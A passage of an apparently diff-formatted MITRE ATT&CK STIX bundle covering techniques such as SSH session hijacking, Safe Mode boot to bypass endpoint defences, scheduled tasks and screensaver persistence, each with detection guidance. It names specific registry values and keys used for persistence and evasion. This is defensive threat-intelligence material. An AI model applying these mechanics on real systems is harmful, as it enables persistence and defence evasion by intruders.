"Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.", + "source_name": "Breach Post-mortem SSH Hijack" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-23T23:11:24.682Z", + "x_mitre_system_requirements": [ + "SSH service enabled, trust relationships configured, established connections" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "id": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "root" + ], + "description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.", + "created": "2020-02-25T18:34:38.290Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Safe Mode Boot", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Windows Registry: Windows Registry Key Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-08-31T14:51:47.352Z", + "created": "2021-06-23T20:00:27.600Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803", + "x_mitre_defense_bypassed": [ + "Host Intrusion Prevention Systems", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)", + "x_mitre_contributors": [ + "Jorell Magtibay, National Australia Bank Limited", + "Kiyohito Yamamoto, RedLark, NTT Communications", + "Yusuke Kubo, RedLark, NTT Communications" + ], + "x_mitre_detection": "Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\* in front of the \"Startup\" value name: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"] or by adding a key to HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\n\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1562/009", + "external_id": "T1562.009", + "source_name": "mitre-attack" + }, + { + "url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234", + "description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.", + "source_name": "Microsoft Safe Mode" + }, + { + "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.", + "source_name": "Sophos Snatch Ransomware 2019" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit", + "description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.", + "source_name": "Microsoft bcdedit 2021" + }, + { + "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise", + "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.", + "source_name": "CyberArk Labs Safe Mode 2016" + }, + { + "url": "https://www.cybereason.com/blog/medusalocker-ransomware", + "description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.", + "source_name": "Cybereason Nocturnus MedusaLocker 2020" + }, + { + "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", + "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021.", + "source_name": "BleepingComputer REvil 2021" + }, + { + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg", + "description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.", + "source_name": "Microsoft Bootcfg" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Scan Databases", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:49:49.260Z", + "created": "2020-10-02T17:00:44.586Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f", + "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1596/005", + "external_id": "T1596.005", + "source_name": "mitre-attack" + }, + { + "url": "https://shodan.io", + "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.", + "source_name": "Shodan" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Scanning IP Blocks", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:19:38.469Z", + "created": "2020-10-02T16:54:23.193Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120", + "description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1595/001", + "external_id": "T1595.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf", + "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.", + "source_name": "Botnet Scan" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-12-30T14:26:44.730Z", + "name": "Scheduled Task", + "x_mitre_data_sources": [ + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "created": "2019-11-27T14:58:00.429Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1053/005", + "external_id": "T1053.005", + "source_name": "mitre-attack" + }, + { + "source_name": "Twitter Leoloobeek Scheduled Task", + "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.", + "url": "https://twitter.com/leoloobeek/status/939248813465853953" + }, + { + "source_name": "TechNet Forum Scheduled Task Operational Setting", + "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.", + "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen" + }, + { + "source_name": "TechNet Scheduled Task Events", + "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.", + "url": "https://technet.microsoft.com/library/dd315590.aspx" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", + "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.", + "source_name": "Microsoft Scheduled Task Events Win10" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Scheduled Task/Job", + "x_mitre_data_sources": [ + "File: File Creation", + "Container: Container Creation", + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "2.1", + "modified": "2021-10-15T14:36:26.445Z", + "created": "2017-05-31T21:30:46.977Z", + "x_mitre_contributors": [ + "Prashant Verma, Paladion", + "Leo Loobeek, @leoloobeek", + "Travis Smith, Tripwire", + "Alain Homewood, Insomnia Security" + ], + "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", + "x_mitre_effective_permissions": [ + "SYSTEM", + "Administrator", + "User" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1053", + "external_id": "T1053", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/557.html", + "external_id": "CAPEC-557", + "source_name": "capec" + }, + { + "source_name": "TechNet Task Scheduler Security", + "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-28T00:26:48.769Z", + "name": "Scheduled Transfer", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1029", + "external_id": "T1029", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "created": "2017-05-31T21:30:34.139Z", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-24T19:56:37.627Z", + "name": "Screen Capture", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "created": "2017-05-31T21:31:25.060Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1113", + "external_id": "T1113", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/648.html", + "external_id": "CAPEC-648", + "source_name": "capec" + }, + { + "url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8", + "description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.", + "source_name": "CopyFromScreen .NET" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T13:51:47.990Z", + "name": "Screensaver", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1180", + "external_id": "T1180", + "source_name": "mitre-attack" + }, + { + "url": "https://en.wikipedia.org/wiki/Screensaver", + "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.", + "source_name": "Wikipedia Screensaver" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Screensaver", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "File: File Creation", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-23T12:23:04.955Z", + "created": "2020-01-24T13:51:01.210Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", + "x_mitre_contributors": [ + "Bartosz Jerzman" + ], + "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/002", + "external_id": "T1546.002", + "source_name": "mitre-attack" + }, + { + "url": "https://en.wikipedia.org/wiki/Screensaver", + "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.", + "source_name": "Wikipedia Screensaver" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Scripting", + "x_mitre_version": "1.0", + "modified": "2020-03-30T13:39:24.852Z", + "created": "2017-05-31T21:30:51.733Z", + "x_mitre_deprecated": true, + "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "revoked": false, + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Data Execution Prevention", + "Exploit Prevention" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_detection": "Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1064", + "external_id": "T1064", + "source_name": "mitre-attack" + }, + { + "url": "http://www.metasploit.com", + "description": "Metasploit. (n.d.). Retrieved December 4, 2014.", + "source_name": "Metasploit_Ref" + }, + { + "source_name": "Veil_Ref", + "description": "Veil Framework. (n.d.). Retrieved December 4, 2014.", + "url": "https://www.veil-framework.com/framework/" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + }, + { + "source_name": "Uperesia Malicious Office Documents", + "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.", + "url": "https://www.uperesia.com/analyzing-malicious-office-documents" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Search Closed Sources", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:45:31.020Z", + "created": "2020-10-02T17:01:42.558Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4", + "description": "Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark 